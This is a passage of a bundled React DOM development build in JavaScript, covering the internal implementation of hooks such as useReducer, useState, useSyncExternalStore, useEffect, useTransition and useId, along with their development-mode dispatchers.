        // Append to the end of the list.
        workInProgressHook = workInProgressHook.next = newHook;
      }
    }

    return workInProgressHook;
  }

  function createFunctionComponentUpdateQueue() {
    return {
      lastEffect: null,
      stores: null
    };
  }

  function basicStateReducer(state, action) {
    // $FlowFixMe: Flow doesn't like mixed types
    return typeof action === 'function' ? action(state) : action;
  }

  function mountReducer(reducer, initialArg, init) {
    var hook = mountWorkInProgressHook();
    var initialState;

    if (init !== undefined) {
      initialState = init(initialArg);
    } else {
      initialState = initialArg;
    }

    hook.memoizedState = hook.baseState = initialState;
    var queue = {
      pending: null,
      interleaved: null,
      lanes: NoLanes,
      dispatch: null,
      lastRenderedReducer: reducer,
      lastRenderedState: initialState
    };
    hook.queue = queue;
    var dispatch = queue.dispatch = dispatchReducerAction.bind(null, currentlyRenderingFiber$1, queue);
    return [hook.memoizedState, dispatch];
  }

  function updateReducer(reducer, initialArg, init) {
    var hook = updateWorkInProgressHook();
    var queue = hook.queue;

    if (queue === null) {
      throw new Error('Should have a queue. This is likely a bug in React. Please file an issue.');
    }

    queue.lastRenderedReducer = reducer;
    var current = currentHook; // The last rebase update that is NOT part of the base state.

    var baseQueue = current.baseQueue; // The last pending update that hasn't been processed yet.

    var pendingQueue = queue.pending;

    if (pendingQueue !== null) {
      // We have new updates that haven't been processed yet.
      // We'll add them to the base queue.
      if (baseQueue !== null) {
        // Merge the pending queue and the base queue.
        var baseFirst = baseQueue.next;
        var pendingFirst = pendingQueue.next;
        baseQueue.next = pendingFirst;
        pendingQueue.next = baseFirst;
      }

      {
        if (current.baseQueue !== baseQueue) {
          // Internal invariant that should never happen, but feasibly could in
          // the future if we implement resuming, or some form of that.
          error('Internal error: Expected work-in-progress queue to be a clone. ' + 'This is a bug in React.');
        }
      }

      current.baseQueue = baseQueue = pendingQueue;
      queue.pending = null;
    }

    if (baseQueue !== null) {
      // We have a queue to process.
      var first = baseQueue.next;
      var newState = current.baseState;
      var newBaseState = null;
      var newBaseQueueFirst = null;
      var newBaseQueueLast = null;
      var update = first;

      do {
        var updateLane = update.lane;

        if (!isSubsetOfLanes(renderLanes, updateLane)) {
          // Priority is insufficient. Skip this update. If this is the first
          // skipped update, the previous update/state is the new base
          // update/state.
          var clone = {
            lane: updateLane,
            action: update.action,
            hasEagerState: update.hasEagerState,
            eagerState: update.eagerState,
            next: null
          };

          if (newBaseQueueLast === null) {
            newBaseQueueFirst = newBaseQueueLast = clone;
            newBaseState = newState;
          } else {
            newBaseQueueLast = newBaseQueueLast.next = clone;
          } // Update the remaining priority in the queue.
          // TODO: Don't need to accumulate this. Instead, we can remove
          // renderLanes from the original lanes.


          currentlyRenderingFiber$1.lanes = mergeLanes(currentlyRenderingFiber$1.lanes, updateLane);
          markSkippedUpdateLanes(updateLane);
        } else {
          // This update does have sufficient priority.
          if (newBaseQueueLast !== null) {
            var _clone = {
              // This update is going to be committed so we never want uncommit
              // it. Using NoLane works because 0 is a subset of all bitmasks, so
              // this will never be skipped by the check above.
              lane: NoLane,
              action: update.action,
              hasEagerState: update.hasEagerState,
              eagerState: update.eagerState,
              next: null
            };
            newBaseQueueLast = newBaseQueueLast.next = _clone;
          } // Process this update.


          if (update.hasEagerState) {
            // If this update is a state update (not a reducer) and was processed eagerly,
            // we can use the eagerly computed state
            newState = update.eagerState;
          } else {
            var action = update.action;
            newState = reducer(newState, action);
          }
        }

        update = update.next;
      } while (update !== null && update !== first);

      if (newBaseQueueLast === null) {
        newBaseState = newState;
      } else {
        newBaseQueueLast.next = newBaseQueueFirst;
      } // Mark that the fiber performed work, but only if the new state is
      // different from the current state.


      if (!objectIs(newState, hook.memoizedState)) {
        markWorkInProgressReceivedUpdate();
      }

      hook.memoizedState = newState;
      hook.baseState = newBaseState;
      hook.baseQueue = newBaseQueueLast;
      queue.lastRenderedState = newState;
    } // Interleaved updates are stored on a separate queue. We aren't going to
    // process them during this render, but we do need to track which lanes
    // are remaining.


    var lastInterleaved = queue.interleaved;

    if (lastInterleaved !== null) {
      var interleaved = lastInterleaved;

      do {
        var interleavedLane = interleaved.lane;
        currentlyRenderingFiber$1.lanes = mergeLanes(currentlyRenderingFiber$1.lanes, interleavedLane);
        markSkippedUpdateLanes(interleavedLane);
        interleaved = interleaved.next;
      } while (interleaved !== lastInterleaved);
    } else if (baseQueue === null) {
      // `queue.lanes` is used for entangling transitions. We can set it back to
      // zero once the queue is empty.
      queue.lanes = NoLanes;
    }

    var dispatch = queue.dispatch;
    return [hook.memoizedState, dispatch];
  }

  function rerenderReducer(reducer, initialArg, init) {
    var hook = updateWorkInProgressHook();
    var queue = hook.queue;

    if (queue === null) {
      throw new Error('Should have a queue. This is likely a bug in React. Please file an issue.');
    }

    queue.lastRenderedReducer = reducer; // This is a re-render. Apply the new render phase updates to the previous
    // work-in-progress hook.

    var dispatch = queue.dispatch;
    var lastRenderPhaseUpdate = queue.pending;
    var newState = hook.memoizedState;

    if (lastRenderPhaseUpdate !== null) {
      // The queue doesn't persist past this render pass.
      queue.pending = null;
      var firstRenderPhaseUpdate = lastRenderPhaseUpdate.next;
      var update = firstRenderPhaseUpdate;

      do {
        // Process this render phase update. We don't have to check the
        // priority because it will always be the same as the current
        // render's.
        var action = update.action;
        newState = reducer(newState, action);
        update = update.next;
      } while (update !== firstRenderPhaseUpdate); // Mark that the fiber performed work, but only if the new state is
      // different from the current state.


      if (!objectIs(newState, hook.memoizedState)) {
        markWorkInProgressReceivedUpdate();
      }

      hook.memoizedState = newState; // Don't persist the state accumulated from the render phase updates to
      // the base state unless the queue is empty.
      // TODO: Not sure if this is the desired semantics, but it's what we
      // do for gDSFP. I can't remember why.

      if (hook.baseQueue === null) {
        hook.baseState = newState;
      }

      queue.lastRenderedState = newState;
    }

    return [newState, dispatch];
  }

  function mountMutableSource(source, getSnapshot, subscribe) {
    {
      return undefined;
    }
  }

  function updateMutableSource(source, getSnapshot, subscribe) {
    {
      return undefined;
    }
  }

  function mountSyncExternalStore(subscribe, getSnapshot, getServerSnapshot) {
    var fiber = currentlyRenderingFiber$1;
    var hook = mountWorkInProgressHook();
    var nextSnapshot;
    var isHydrating = getIsHydrating();

    if (isHydrating) {
      if (getServerSnapshot === undefined) {
        throw new Error('Missing getServerSnapshot, which is required for ' + 'server-rendered content. Will revert to client rendering.');
      }

      nextSnapshot = getServerSnapshot();

      {
        if (!didWarnUncachedGetSnapshot) {
          if (nextSnapshot !== getServerSnapshot()) {
            error('The result of getServerSnapshot should be cached to avoid an infinite loop');

            didWarnUncachedGetSnapshot = true;
          }
        }
      }
    } else {
      nextSnapshot = getSnapshot();

      {
        if (!didWarnUncachedGetSnapshot) {
          var cachedSnapshot = getSnapshot();

          if (!objectIs(nextSnapshot, cachedSnapshot)) {
            error('The result of getSnapshot should be cached to avoid an infinite loop');

            didWarnUncachedGetSnapshot = true;
          }
        }
      } // Unless we're rendering a blocking lane, schedule a consistency check.
      // Right before committing, we will walk the tree and check if any of the
      // stores were mutated.
      //
      // We won't do this if we're hydrating server-rendered content, because if
      // the content is stale, it's already visible anyway. Instead we'll patch
      // it up in a passive effect.


      var root = getWorkInProgressRoot();

      if (root === null) {
        throw new Error('Expected a work-in-progress root. This is a bug in React. Please file an issue.');
      }

      if (!includesBlockingLane(root, renderLanes)) {
        pushStoreConsistencyCheck(fiber, getSnapshot, nextSnapshot);
      }
    } // Read the current snapshot from the store on every render. This breaks the
    // normal rules of React, and only works because store updates are
    // always synchronous.


    hook.memoizedState = nextSnapshot;
    var inst = {
      value: nextSnapshot,
      getSnapshot: getSnapshot
    };
    hook.queue = inst; // Schedule an effect to subscribe to the store.

    mountEffect(subscribeToStore.bind(null, fiber, inst, subscribe), [subscribe]); // Schedule an effect to update the mutable instance fields. We will update
    // this whenever subscribe, getSnapshot, or value changes. Because there's no
    // clean-up function, and we track the deps correctly, we can call pushEffect
    // directly, without storing any additional state. For the same reason, we
    // don't need to set a static flag, either.
    // TODO: We can move this to the passive phase once we add a pre-commit
    // consistency check. See the next comment.

    fiber.flags |= Passive;
    pushEffect(HasEffect | Passive$1, updateStoreInstance.bind(null, fiber, inst, nextSnapshot, getSnapshot), undefined, null);
    return nextSnapshot;
  }

  function updateSyncExternalStore(subscribe, getSnapshot, getServerSnapshot) {
    var fiber = currentlyRenderingFiber$1;
    var hook = updateWorkInProgressHook(); // Read the current snapshot from the store on every render. This breaks the
    // normal rules of React, and only works because store updates are
    // always synchronous.

    var nextSnapshot = getSnapshot();

    {
      if (!didWarnUncachedGetSnapshot) {
        var cachedSnapshot = getSnapshot();

        if (!objectIs(nextSnapshot, cachedSnapshot)) {
          error('The result of getSnapshot should be cached to avoid an infinite loop');

          didWarnUncachedGetSnapshot = true;
        }
      }
    }

    var prevSnapshot = hook.memoizedState;
    var snapshotChanged = !objectIs(prevSnapshot, nextSnapshot);

    if (snapshotChanged) {
      hook.memoizedState = nextSnapshot;
      markWorkInProgressReceivedUpdate();
    }

    var inst = hook.queue;
    updateEffect(subscribeToStore.bind(null, fiber, inst, subscribe), [subscribe]); // Whenever getSnapshot or subscribe changes, we need to check in the
    // commit phase if there was an interleaved mutation. In concurrent mode
    // this can happen all the time, but even in synchronous mode, an earlier
    // effect may have mutated the store.

    if (inst.getSnapshot !== getSnapshot || snapshotChanged || // Check if the susbcribe function changed. We can save some memory by
    // checking whether we scheduled a subscription effect above.
    workInProgressHook !== null && workInProgressHook.memoizedState.tag & HasEffect) {
      fiber.flags |= Passive;
      pushEffect(HasEffect | Passive$1, updateStoreInstance.bind(null, fiber, inst, nextSnapshot, getSnapshot), undefined, null); // Unless we're rendering a blocking lane, schedule a consistency check.
      // Right before committing, we will walk the tree and check if any of the
      // stores were mutated.

      var root = getWorkInProgressRoot();

      if (root === null) {
        throw new Error('Expected a work-in-progress root. This is a bug in React. Please file an issue.');
      }

      if (!includesBlockingLane(root, renderLanes)) {
        pushStoreConsistencyCheck(fiber, getSnapshot, nextSnapshot);
      }
    }

    return nextSnapshot;
  }

  function pushStoreConsistencyCheck(fiber, getSnapshot, renderedSnapshot) {
    fiber.flags |= StoreConsistency;
    var check = {
      getSnapshot: getSnapshot,
      value: renderedSnapshot
    };
    var componentUpdateQueue = currentlyRenderingFiber$1.updateQueue;

    if (componentUpdateQueue === null) {
      componentUpdateQueue = createFunctionComponentUpdateQueue();
      currentlyRenderingFiber$1.updateQueue = componentUpdateQueue;
      componentUpdateQueue.stores = [check];
    } else {
      var stores = componentUpdateQueue.stores;

      if (stores === null) {
        componentUpdateQueue.stores = [check];
      } else {
        stores.push(check);
      }
    }
  }

  function updateStoreInstance(fiber, inst, nextSnapshot, getSnapshot) {
    // These are updated in the passive phase
    inst.value = nextSnapshot;
    inst.getSnapshot = getSnapshot; // Something may have been mutated in between render and commit. This could
    // have been in an event that fired before the passive effects, or it could
    // have been in a layout effect. In that case, we would have used the old
    // snapsho and getSnapshot values to bail out. We need to check one more time.

    if (checkIfSnapshotChanged(inst)) {
      // Force a re-render.
      forceStoreRerender(fiber);
    }
  }

  function subscribeToStore(fiber, inst, subscribe) {
    var handleStoreChange = function () {
      // The store changed. Check if the snapshot changed since the last time we
      // read from the store.
      if (checkIfSnapshotChanged(inst)) {
        // Force a re-render.
        forceStoreRerender(fiber);
      }
    }; // Subscribe to the store and return a clean-up function.


    return subscribe(handleStoreChange);
  }

  function checkIfSnapshotChanged(inst) {
    var latestGetSnapshot = inst.getSnapshot;
    var prevValue = inst.value;

    try {
      var nextValue = latestGetSnapshot();
      return !objectIs(prevValue, nextValue);
    } catch (error) {
      return true;
    }
  }

  function forceStoreRerender(fiber) {
    var root = enqueueConcurrentRenderForLane(fiber, SyncLane);

    if (root !== null) {
      scheduleUpdateOnFiber(root, fiber, SyncLane, NoTimestamp);
    }
  }

  function mountState(initialState) {
    var hook = mountWorkInProgressHook();

    if (typeof initialState === 'function') {
      // $FlowFixMe: Flow doesn't like mixed types
      initialState = initialState();
    }

    hook.memoizedState = hook.baseState = initialState;
    var queue = {
      pending: null,
      interleaved: null,
      lanes: NoLanes,
      dispatch: null,
      lastRenderedReducer: basicStateReducer,
      lastRenderedState: initialState
    };
    hook.queue = queue;
    var dispatch = queue.dispatch = dispatchSetState.bind(null, currentlyRenderingFiber$1, queue);
    return [hook.memoizedState, dispatch];
  }

  function updateState(initialState) {
    return updateReducer(basicStateReducer);
  }

  function rerenderState(initialState) {
    return rerenderReducer(basicStateReducer);
  }

  function pushEffect(tag, create, destroy, deps) {
    var effect = {
      tag: tag,
      create: create,
      destroy: destroy,
      deps: deps,
      // Circular
      next: null
    };
    var componentUpdateQueue = currentlyRenderingFiber$1.updateQueue;

    if (componentUpdateQueue === null) {
      componentUpdateQueue = createFunctionComponentUpdateQueue();
      currentlyRenderingFiber$1.updateQueue = componentUpdateQueue;
      componentUpdateQueue.lastEffect = effect.next = effect;
    } else {
      var lastEffect = componentUpdateQueue.lastEffect;

      if (lastEffect === null) {
        componentUpdateQueue.lastEffect = effect.next = effect;
      } else {
        var firstEffect = lastEffect.next;
        lastEffect.next = effect;
        effect.next = firstEffect;
        componentUpdateQueue.lastEffect = effect;
      }
    }

    return effect;
  }

  function mountRef(initialValue) {
    var hook = mountWorkInProgressHook();

    {
      var _ref2 = {
        current: initialValue
      };
      hook.memoizedState = _ref2;
      return _ref2;
    }
  }

  function updateRef(initialValue) {
    var hook = updateWorkInProgressHook();
    return hook.memoizedState;
  }

  function mountEffectImpl(fiberFlags, hookFlags, create, deps) {
    var hook = mountWorkInProgressHook();
    var nextDeps = deps === undefined ? null : deps;
    currentlyRenderingFiber$1.flags |= fiberFlags;
    hook.memoizedState = pushEffect(HasEffect | hookFlags, create, undefined, nextDeps);
  }

  function updateEffectImpl(fiberFlags, hookFlags, create, deps) {
    var hook = updateWorkInProgressHook();
    var nextDeps = deps === undefined ? null : deps;
    var destroy = undefined;

    if (currentHook !== null) {
      var prevEffect = currentHook.memoizedState;
      destroy = prevEffect.destroy;

      if (nextDeps !== null) {
        var prevDeps = prevEffect.deps;

        if (areHookInputsEqual(nextDeps, prevDeps)) {
          hook.memoizedState = pushEffect(hookFlags, create, destroy, nextDeps);
          return;
        }
      }
    }

    currentlyRenderingFiber$1.flags |= fiberFlags;
    hook.memoizedState = pushEffect(HasEffect | hookFlags, create, destroy, nextDeps);
  }

  function mountEffect(create, deps) {
    if ( (currentlyRenderingFiber$1.mode & StrictEffectsMode) !== NoMode) {
      return mountEffectImpl(MountPassiveDev | Passive | PassiveStatic, Passive$1, create, deps);
    } else {
      return mountEffectImpl(Passive | PassiveStatic, Passive$1, create, deps);
    }
  }

  function updateEffect(create, deps) {
    return updateEffectImpl(Passive, Passive$1, create, deps);
  }

  function mountInsertionEffect(create, deps) {
    return mountEffectImpl(Update, Insertion, create, deps);
  }

  function updateInsertionEffect(create, deps) {
    return updateEffectImpl(Update, Insertion, create, deps);
  }

  function mountLayoutEffect(create, deps) {
    var fiberFlags = Update;

    {
      fiberFlags |= LayoutStatic;
    }

    if ( (currentlyRenderingFiber$1.mode & StrictEffectsMode) !== NoMode) {
      fiberFlags |= MountLayoutDev;
    }

    return mountEffectImpl(fiberFlags, Layout, create, deps);
  }

  function updateLayoutEffect(create, deps) {
    return updateEffectImpl(Update, Layout, create, deps);
  }

  function imperativeHandleEffect(create, ref) {
    if (typeof ref === 'function') {
      var refCallback = ref;

      var _inst = create();

      refCallback(_inst);
      return function () {
        refCallback(null);
      };
    } else if (ref !== null && ref !== undefined) {
      var refObject = ref;

      {
        if (!refObject.hasOwnProperty('current')) {
          error('Expected useImperativeHandle() first argument to either be a ' + 'ref callback or React.createRef() object. Instead received: %s.', 'an object with keys {' + Object.keys(refObject).join(', ') + '}');
        }
      }

      var _inst2 = create();

      refObject.current = _inst2;
      return function () {
        refObject.current = null;
      };
    }
  }

  function mountImperativeHandle(ref, create, deps) {
    {
      if (typeof create !== 'function') {
        error('Expected useImperativeHandle() second argument to be a function ' + 'that creates a handle. Instead received: %s.', create !== null ? typeof create : 'null');
      }
    } // TODO: If deps are provided, should we skip comparing the ref itself?


    var effectDeps = deps !== null && deps !== undefined ? deps.concat([ref]) : null;
    var fiberFlags = Update;

    {
      fiberFlags |= LayoutStatic;
    }

    if ( (currentlyRenderingFiber$1.mode & StrictEffectsMode) !== NoMode) {
      fiberFlags |= MountLayoutDev;
    }

    return mountEffectImpl(fiberFlags, Layout, imperativeHandleEffect.bind(null, create, ref), effectDeps);
  }

  function updateImperativeHandle(ref, create, deps) {
    {
      if (typeof create !== 'function') {
        error('Expected useImperativeHandle() second argument to be a function ' + 'that creates a handle. Instead received: %s.', create !== null ? typeof create : 'null');
      }
    } // TODO: If deps are provided, should we skip comparing the ref itself?


    var effectDeps = deps !== null && deps !== undefined ? deps.concat([ref]) : null;
    return updateEffectImpl(Update, Layout, imperativeHandleEffect.bind(null, create, ref), effectDeps);
  }

  function mountDebugValue(value, formatterFn) {// This hook is normally a no-op.
    // The react-debug-hooks package injects its own implementation
    // so that e.g. DevTools can display custom hook values.
  }

  var updateDebugValue = mountDebugValue;

  function mountCallback(callback, deps) {
    var hook = mountWorkInProgressHook();
    var nextDeps = deps === undefined ? null : deps;
    hook.memoizedState = [callback, nextDeps];
    return callback;
  }

  function updateCallback(callback, deps) {
    var hook = updateWorkInProgressHook();
    var nextDeps = deps === undefined ? null : deps;
    var prevState = hook.memoizedState;

    if (prevState !== null) {
      if (nextDeps !== null) {
        var prevDeps = prevState[1];

        if (areHookInputsEqual(nextDeps, prevDeps)) {
          return prevState[0];
        }
      }
    }

    hook.memoizedState = [callback, nextDeps];
    return callback;
  }

  function mountMemo(nextCreate, deps) {
    var hook = mountWorkInProgressHook();
    var nextDeps = deps === undefined ? null : deps;
    var nextValue = nextCreate();
    hook.memoizedState = [nextValue, nextDeps];
    return nextValue;
  }

  function updateMemo(nextCreate, deps) {
    var hook = updateWorkInProgressHook();
    var nextDeps = deps === undefined ? null : deps;
    var prevState = hook.memoizedState;

    if (prevState !== null) {
      // Assume these are defined. If they're not, areHookInputsEqual will warn.
      if (nextDeps !== null) {
        var prevDeps = prevState[1];

        if (areHookInputsEqual(nextDeps, prevDeps)) {
          return prevState[0];
        }
      }
    }

    var nextValue = nextCreate();
    hook.memoizedState = [nextValue, nextDeps];
    return nextValue;
  }

  function mountDeferredValue(value) {
    var hook = mountWorkInProgressHook();
    hook.memoizedState = value;
    return value;
  }

  function updateDeferredValue(value) {
    var hook = updateWorkInProgressHook();
    var resolvedCurrentHook = currentHook;
    var prevValue = resolvedCurrentHook.memoizedState;
    return updateDeferredValueImpl(hook, prevValue, value);
  }

  function rerenderDeferredValue(value) {
    var hook = updateWorkInProgressHook();

    if (currentHook === null) {
      // This is a rerender during a mount.
      hook.memoizedState = value;
      return value;
    } else {
      // This is a rerender during an update.
      var prevValue = currentHook.memoizedState;
      return updateDeferredValueImpl(hook, prevValue, value);
    }
  }

  function updateDeferredValueImpl(hook, prevValue, value) {
    var shouldDeferValue = !includesOnlyNonUrgentLanes(renderLanes);

    if (shouldDeferValue) {
      // This is an urgent update. If the value has changed, keep using the
      // previous value and spawn a deferred render to update it later.
      if (!objectIs(value, prevValue)) {
        // Schedule a deferred render
        var deferredLane = claimNextTransitionLane();
        currentlyRenderingFiber$1.lanes = mergeLanes(currentlyRenderingFiber$1.lanes, deferredLane);
        markSkippedUpdateLanes(deferredLane); // Set this to true to indicate that the rendered value is inconsistent
        // from the latest value. The name "baseState" doesn't really match how we
        // use it because we're reusing a state hook field instead of creating a
        // new one.

        hook.baseState = true;
      } // Reuse the previous value


      return prevValue;
    } else {
      // This is not an urgent update, so we can use the latest value regardless
      // of what it is. No need to defer it.
      // However, if we're currently inside a spawned render, then we need to mark
      // this as an update to prevent the fiber from bailing out.
      //
      // `baseState` is true when the current value is different from the rendered
      // value. The name doesn't really match how we use it because we're reusing
      // a state hook field instead of creating a new one.
      if (hook.baseState) {
        // Flip this back to false.
        hook.baseState = false;
        markWorkInProgressReceivedUpdate();
      }

      hook.memoizedState = value;
      return value;
    }
  }

  function startTransition(setPending, callback, options) {
    var previousPriority = getCurrentUpdatePriority();
    setCurrentUpdatePriority(higherEventPriority(previousPriority, ContinuousEventPriority));
    setPending(true);
    var prevTransition = ReactCurrentBatchConfig$2.transition;
    ReactCurrentBatchConfig$2.transition = {};
    var currentTransition = ReactCurrentBatchConfig$2.transition;

    {
      ReactCurrentBatchConfig$2.transition._updatedFibers = new Set();
    }

    try {
      setPending(false);
      callback();
    } finally {
      setCurrentUpdatePriority(previousPriority);
      ReactCurrentBatchConfig$2.transition = prevTransition;

      {
        if (prevTransition === null && currentTransition._updatedFibers) {
          var updatedFibersCount = currentTransition._updatedFibers.size;

          if (updatedFibersCount > 10) {
            warn('Detected a large number of updates inside startTransition. ' + 'If this is due to a subscription please re-write it to use React provided hooks. ' + 'Otherwise concurrent mode guarantees are off the table.');
          }

          currentTransition._updatedFibers.clear();
        }
      }
    }
  }

  function mountTransition() {
    var _mountState = mountState(false),
        isPending = _mountState[0],
        setPending = _mountState[1]; // The `start` method never changes.


    var start = startTransition.bind(null, setPending);
    var hook = mountWorkInProgressHook();
    hook.memoizedState = start;
    return [isPending, start];
  }

  function updateTransition() {
    var _updateState = updateState(),
        isPending = _updateState[0];

    var hook = updateWorkInProgressHook();
    var start = hook.memoizedState;
    return [isPending, start];
  }

  function rerenderTransition() {
    var _rerenderState = rerenderState(),
        isPending = _rerenderState[0];

    var hook = updateWorkInProgressHook();
    var start = hook.memoizedState;
    return [isPending, start];
  }

  var isUpdatingOpaqueValueInRenderPhase = false;
  function getIsUpdatingOpaqueValueInRenderPhaseInDEV() {
    {
      return isUpdatingOpaqueValueInRenderPhase;
    }
  }

  function mountId() {
    var hook = mountWorkInProgressHook();
    var root = getWorkInProgressRoot(); // TODO: In Fizz, id generation is specific to each server config. Maybe we
    // should do this in Fiber, too? Deferring this decision for now because
    // there's no other place to store the prefix except for an internal field on
    // the public createRoot object, which the fiber tree does not currently have
    // a reference to.

    var identifierPrefix = root.identifierPrefix;
    var id;

    if (getIsHydrating()) {
      var treeId = getTreeId(); // Use a captial R prefix for server-generated ids.

      id = ':' + identifierPrefix + 'R' + treeId; // Unless this is the first id at this level, append a number at the end
      // that represents the position of this useId hook among all the useId
      // hooks for this fiber.

      var localId = localIdCounter++;

      if (localId > 0) {
        id += 'H' + localId.toString(32);
      }

      id += ':';
    } else {
      // Use a lowercase r prefix for client-generated ids.
      var globalClientId = globalClientIdCounter++;
      id = ':' + identifierPrefix + 'r' + globalClientId.toString(32) + ':';
    }

    hook.memoizedState = id;
    return id;
  }

  function updateId() {
    var hook = updateWorkInProgressHook();
    var id = hook.memoizedState;
    return id;
  }

  function dispatchReducerAction(fiber, queue, action) {
    {
      if (typeof arguments[3] === 'function') {
        error("State updates from the useState() and useReducer() Hooks don't support the " + 'second callback argument. To execute a side effect after ' + 'rendering, declare it in the component body with useEffect().');
      }
    }

    var lane = requestUpdateLane(fiber);
    var update = {
      lane: lane,
      action: action,
      hasEagerState: false,
      eagerState: null,
      next: null
    };

    if (isRenderPhaseUpdate(fiber)) {
      enqueueRenderPhaseUpdate(queue, update);
    } else {
      var root = enqueueConcurrentHookUpdate(fiber, queue, update, lane);

      if (root !== null) {
        var eventTime = requestEventTime();
        scheduleUpdateOnFiber(root, fiber, lane, eventTime);
        entangleTransitionUpdate(root, queue, lane);
      }
    }

    markUpdateInDevTools(fiber, lane);
  }

  function dispatchSetState(fiber, queue, action) {
    {
      if (typeof arguments[3] === 'function') {
        error("State updates from the useState() and useReducer() Hooks don't support the " + 'second callback argument. To execute a side effect after ' + 'rendering, declare it in the component body with useEffect().');
      }
    }

    var lane = requestUpdateLane(fiber);
    var update = {
      lane: lane,
      action: action,
      hasEagerState: false,
      eagerState: null,
      next: null
    };

    if (isRenderPhaseUpdate(fiber)) {
      enqueueRenderPhaseUpdate(queue, update);
    } else {
      var alternate = fiber.alternate;

      if (fiber.lanes === NoLanes && (alternate === null || alternate.lanes === NoLanes)) {
        // The queue is currently empty, which means we can eagerly compute the
        // next state before entering the render phase. If the new state is the
        // same as the current state, we may be able to bail out entirely.
        var lastRenderedReducer = queue.lastRenderedReducer;

        if (lastRenderedReducer !== null) {
          var prevDispatcher;

          {
            prevDispatcher = ReactCurrentDispatcher$1.current;
            ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
          }

          try {
            var currentState = queue.lastRenderedState;
            var eagerState = lastRenderedReducer(currentState, action); // Stash the eagerly computed state, and the reducer used to compute
            // it, on the update object. If the reducer hasn't changed by the
            // time we enter the render phase, then the eager state can be used
            // without calling the reducer again.

            update.hasEagerState = true;
            update.eagerState = eagerState;

            if (objectIs(eagerState, currentState)) {
              // Fast path. We can bail out without scheduling React to re-render.
              // It's still possible that we'll need to rebase this update later,
              // if the component re-renders for a different reason and by that
              // time the reducer has changed.
              // TODO: Do we still need to entangle transitions in this case?
              enqueueConcurrentHookUpdateAndEagerlyBailout(fiber, queue, update, lane);
              return;
            }
          } catch (error) {// Suppress the error. It will throw again in the render phase.
          } finally {
            {
              ReactCurrentDispatcher$1.current = prevDispatcher;
            }
          }
        }
      }

      var root = enqueueConcurrentHookUpdate(fiber, queue, update, lane);

      if (root !== null) {
        var eventTime = requestEventTime();
        scheduleUpdateOnFiber(root, fiber, lane, eventTime);
        entangleTransitionUpdate(root, queue, lane);
      }
    }

    markUpdateInDevTools(fiber, lane);
  }

  function isRenderPhaseUpdate(fiber) {
    var alternate = fiber.alternate;
    return fiber === currentlyRenderingFiber$1 || alternate !== null && alternate === currentlyRenderingFiber$1;
  }

  function enqueueRenderPhaseUpdate(queue, update) {
    // This is a render phase update. Stash it in a lazily-created map of
    // queue -> linked list of updates. After this render pass, we'll restart
    // and apply the stashed updates on top of the work-in-progress hook.
    didScheduleRenderPhaseUpdateDuringThisPass = didScheduleRenderPhaseUpdate = true;
    var pending = queue.pending;

    if (pending === null) {
      // This is the first update. Create a circular list.
      update.next = update;
    } else {
      update.next = pending.next;
      pending.next = update;
    }

    queue.pending = update;
  } // TODO: Move to ReactFiberConcurrentUpdates?


  function entangleTransitionUpdate(root, queue, lane) {
    if (isTransitionLane(lane)) {
      var queueLanes = queue.lanes; // If any entangled lanes are no longer pending on the root, then they
      // must have finished. We can remove them from the shared queue, which
      // represents a superset of the actually pending lanes. In some cases we
      // may entangle more than we need to, but that's OK. In fact it's worse if
      // we *don't* entangle when we should.

      queueLanes = intersectLanes(queueLanes, root.pendingLanes); // Entangle the new transition lane with the other transition lanes.

      var newQueueLanes = mergeLanes(queueLanes, lane);
      queue.lanes = newQueueLanes; // Even if queue.lanes already include lane, we don't know for certain if
      // the lane finished since the last time we entangled it. So we need to
      // entangle it again, just to be sure.

      markRootEntangled(root, newQueueLanes);
    }
  }

  function markUpdateInDevTools(fiber, lane, action) {

    {
      markStateUpdateScheduled(fiber, lane);
    }
  }

  var ContextOnlyDispatcher = {
    readContext: readContext,
    useCallback: throwInvalidHookError,
    useContext: throwInvalidHookError,
    useEffect: throwInvalidHookError,
    useImperativeHandle: throwInvalidHookError,
    useInsertionEffect: throwInvalidHookError,
    useLayoutEffect: throwInvalidHookError,
    useMemo: throwInvalidHookError,
    useReducer: throwInvalidHookError,
    useRef: throwInvalidHookError,
    useState: throwInvalidHookError,
    useDebugValue: throwInvalidHookError,
    useDeferredValue: throwInvalidHookError,
    useTransition: throwInvalidHookError,
    useMutableSource: throwInvalidHookError,
    useSyncExternalStore: throwInvalidHookError,
    useId: throwInvalidHookError,
    unstable_isNewReconciler: enableNewReconciler
  };

  var HooksDispatcherOnMountInDEV = null;
  var HooksDispatcherOnMountWithHookTypesInDEV = null;
  var HooksDispatcherOnUpdateInDEV = null;
  var HooksDispatcherOnRerenderInDEV = null;
  var InvalidNestedHooksDispatcherOnMountInDEV = null;
  var InvalidNestedHooksDispatcherOnUpdateInDEV = null;
  var InvalidNestedHooksDispatcherOnRerenderInDEV = null;

  {
    var warnInvalidContextAccess = function () {
      error('Context can only be read while React is rendering. ' + 'In classes, you can read it in the render method or getDerivedStateFromProps. ' + 'In function components, you can read it directly in the function body, but not ' + 'inside Hooks like useReducer() or useMemo().');
    };

    var warnInvalidHookAccess = function () {
      error('Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' + 'You can only call Hooks at the top level of your React function. ' + 'For more information, see ' + 'https://reactjs.org/link/rules-of-hooks');
    };

    HooksDispatcherOnMountInDEV = {
      readContext: function (context) {
        return readContext(context);
      },
      useCallback: function (callback, deps) {
        currentHookNameInDev = 'useCallback';
        mountHookTypesDev();
        checkDepsAreArrayDev(deps);
        return mountCallback(callback, deps);
      },
      useContext: function (context) {
        currentHookNameInDev = 'useContext';
        mountHookTypesDev();
        return readContext(context);
      },
      useEffect: function (create, deps) {
        currentHookNameInDev = 'useEffect';
        mountHookTypesDev();
        checkDepsAreArrayDev(deps);
        return mountEffect(create, deps);
      },
      useImperativeHandle: function (ref, create, deps) {
        currentHookNameInDev = 'useImperativeHandle';
        mountHookTypesDev();
        checkDepsAreArrayDev(deps);
        return mountImperativeHandle(ref, create, deps);
      },
      useInsertionEffect: function (create, deps) {
        currentHookNameInDev = 'useInsertionEffect';
        mountHookTypesDev();
        checkDepsAreArrayDev(deps);
        return mountInsertionEffect(create, deps);
      },
      useLayoutEffect: function (create, deps) {
        currentHookNameInDev = 'useLayoutEffect';
        mountHookTypesDev();
        checkDepsAreArrayDev(deps);
        return mountLayoutEffect(create, deps);
      },
      useMemo: function (create, deps) {
        currentHookNameInDev = 'useMemo';
        mountHookTypesDev();
        checkDepsAreArrayDev(deps);
        var prevDispatcher = ReactCurrentDispatcher$1.current;
